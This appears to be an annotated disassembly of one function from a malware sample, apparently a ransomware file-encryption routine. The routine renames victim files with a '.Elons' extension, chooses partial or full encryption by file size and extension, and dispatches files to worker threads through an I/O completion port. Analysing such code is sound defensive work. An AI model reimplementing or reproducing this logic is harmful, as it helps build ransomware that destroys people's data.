Function at 0x405e70
Capabilities:
Encode data using xor
Get file size
Inspect section memory permissions
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, ecx
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea eax, [eax*2 + 0x80]
push eax
push 8
push dword [0x42e394]
mov dword [ebp - 0x14], eax
call esi
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
jne 0x405ed2
mov edi, dword [ebp - 0x14]
nop dword [eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42e394]
call esi
mov ebx, eax
mov dword [ebp - 8], eax
test ebx, ebx
je 0x405eb0
mov edi, dword [ebp - 4]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str..Elons
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x405f0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.Unable_To_Rename_File:__s____lu
call fcn.00404d60
add esp, 0xc
jmp 0x40635b
push 0
push 0x48000000
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor edi, edi
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40635d
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x406351
mov ecx, dword [ebp - 0x28]
mov eax, ecx
mov edx, dword [ebp - 0x24]
or eax, edx
mov dword [ebp - 0x10], ecx
je 0x406351
test edx, edx
jl 0x405f71
jg 0x405f69
cmp ecx, 0x40000
jb 0x405f71
mov ecx, 0x40000
mov dword [ebp - 0x10], ecx
lea eax, [ecx + 0x128]
push eax
push 8
push dword [0x42e394]
mov dword [ebp - 0x18], eax
call esi
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
jne 0x405fb1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x80
call ebx
push dword [ebp - 0x18]
push 8
push dword [0x42e394]
call esi
mov edi, eax
mov dword [ebp - 0x14], eax
test edi, edi
je 0x405f94
mov eax, dword [ebp - 0x10]
mov dword [edi + 0x11c], eax
mov eax, dword [ebp - 0xc]
mov dword [edi + 0xb8], eax
mov eax, dword [0x42c308]
cmp eax, 4
ja case.default.0x405fd1
jmp dword [eax*4 + 0x406378]
mov dword [edi + 0xd0], 1
jmp case.default.0x405fd1
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je case.0x405fd1.2
lea ebx, [eax + 2]
xor esi, esi
nop dword [eax + eax]
push dword [esi + 0x425c20]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40602b
add esi, 4
cmp esi, 0x398
jb 0x406000
mov dword [edi + 0xd0], 2
jmp case.default.0x405fd1
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
test eax, eax
jg 0x406075
jl case.0x405fd1.1
cmp ecx, 0x1000000
ja 0x40604e
mov dword [edi + 0xd0], 1
jmp case.default.0x405fd1
test eax, eax
jg 0x406075
jl 0x40605c
cmp ecx, 0x20000000
ja 0x406075
mov dword [edi + 0xc8], 0x40000
mov dword [edi + 0xcc], 0
jmp 0x406142
cmp eax, 2
jg 0x406099
jl 0x406080
test ecx, ecx
jne 0x406099
mov dword [edi + 0xc8], 0x400000
mov dword [edi + 0xcc], 0
jmp 0x406142
cmp eax, 0x20
jg 0x4060bd
jl 0x4060a4
test ecx, ecx
jne 0x4060bd
mov dword [edi + 0xc8], 0x4000000
mov dword [edi + 0xcc], 0
jmp 0x406142
cmp eax, 0x200
jg 0x4060e0
jl 0x4060ca
test ecx, ecx
jne 0x4060e0
mov dword [edi + 0xc8], 0x40000000
mov dword [edi + 0xcc], 0
jmp 0x406142
mov dword [edi + 0xc8], 0
mov dword [edi + 0xcc], 4
jmp 0x406142
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je case.0x405fd1.3
lea ebx, [eax + 2]
xor esi, esi
nop word [eax + eax]
push dword [esi + 0x425c20]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je case.0x405fd1.1
add esi, 4
cmp esi, 0x398
jb 0x406110
mov eax, dword [0x42b880]
cdq
mov dword [edi + 0xcc], edx
mov dword [edi + 0xc8], eax
mov dword [edi + 0xd0], 3
mov edx, 0x20
lea ecx, [ebp - 0x68]
call fcn.00405710
mov edx, 8
lea ecx, [edi + 0x104]
call fcn.00405710
lea ebx, [edi + 0xe4]
push 0x428c04
lea edx, [ebp - 0x68]
mov dword [ebp - 0x18], ebx
mov ecx, ebx
call fcn.00404bc0
add esp, 4
lea edx, [ebp - 0x68]
lea ecx, [ebp - 0x48]
push 0x425bfc
call fcn.00404bc0
lea edx, [ebp - 0x48]
mov ecx, edx
call fcn.004078f0
add esp, 4
lea eax, [edi + 0x18]
lea edx, [edi + 0x104]
lea ecx, [ebp - 0x48]
push eax
call fcn.004013a0
mov eax, dword [edi + 0xd0]
lea esi, [ebp - 0x48]
mov ecx, dword [edi + 0xcc]
add esp, 4
mov dword [edi + 0xd4], eax
or edx, 0xffffffff
mov eax, dword [edi + 0xc8]
mov ebx, 0x20
mov dword [edi + 0xdc], eax
mov dword [edi + 0xe0], ecx
movzx eax, byte [esi]
lea esi, [esi + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
xor edx, dword [ecx*4 + 0x421c80]
sub ebx, 1
jne 0x4061e5
mov dword [edi + 0x10c], edx
lea esi, [ebx + 0x20]
mov ebx, dword [ebp - 0x18]
or edx, 0xffffffff
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
xor edx, dword [ecx*4 + 0x421c80]
sub esi, 1
jne 0x406210
mov dword [edi + 0x110], edx
lea ecx, [edi + 0x18]
mov esi, dword [ebp - 0x28]
lea edx, [edi + 0xd4]
mov eax, dword [ebp - 0x24]
add esi, 0x40
mov dword [edi + 0xa4], esi
adc eax, 0
mov dword [edi + 0xa8], eax
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x24]
push 0x10
push edx
mov dword [edi + 0xb0], eax
mov dword [edi + 0xb4], esi
call fcn.004017e0
add esp, 8
lea eax, [ebp - 0x68]
mov ecx, 0x20
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406280
mov ecx, 0x20
lea eax, [ebp - 0x48]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406293
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x42e388
mov esi, dword [0x42e388]
mov ebx, esi
mov edx, dword [0x42e38c]
add ebx, edi
mov edi, dword [ebp - 0x18]
mov ecx, edx
adc ecx, eax
mov dword [ebp - 0x1c], edx
mov eax, esi
lock cmpxchg8b qword [edi]
mov edi, dword [ebp - 4]
cmp eax, esi
mov eax, dword [ebp - 0x10]
jne 0x4062b1
cmp edx, dword [ebp - 0x1c]
jne 0x4062b1
mov ebx, dword [ebp - 0xc]
push 0
push 0
push dword [0x42e384]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov edi, dword [ebp - 0x14]
test eax, eax
je 0x406321
push edi
push 0
push 0
push dword [0x42e384]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x406321
lock inc dword [0x42e380]
mov ebx, dword [ebp - 8]
mov edi, 1
jmp 0x40635d
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push 0
push dword [0x42e394]
call esi
mov ebx, dword [ebp - 8]
xor edi, edi
push ebx
push edi
push dword [0x42e394]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push 0
push dword [0x42e394]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret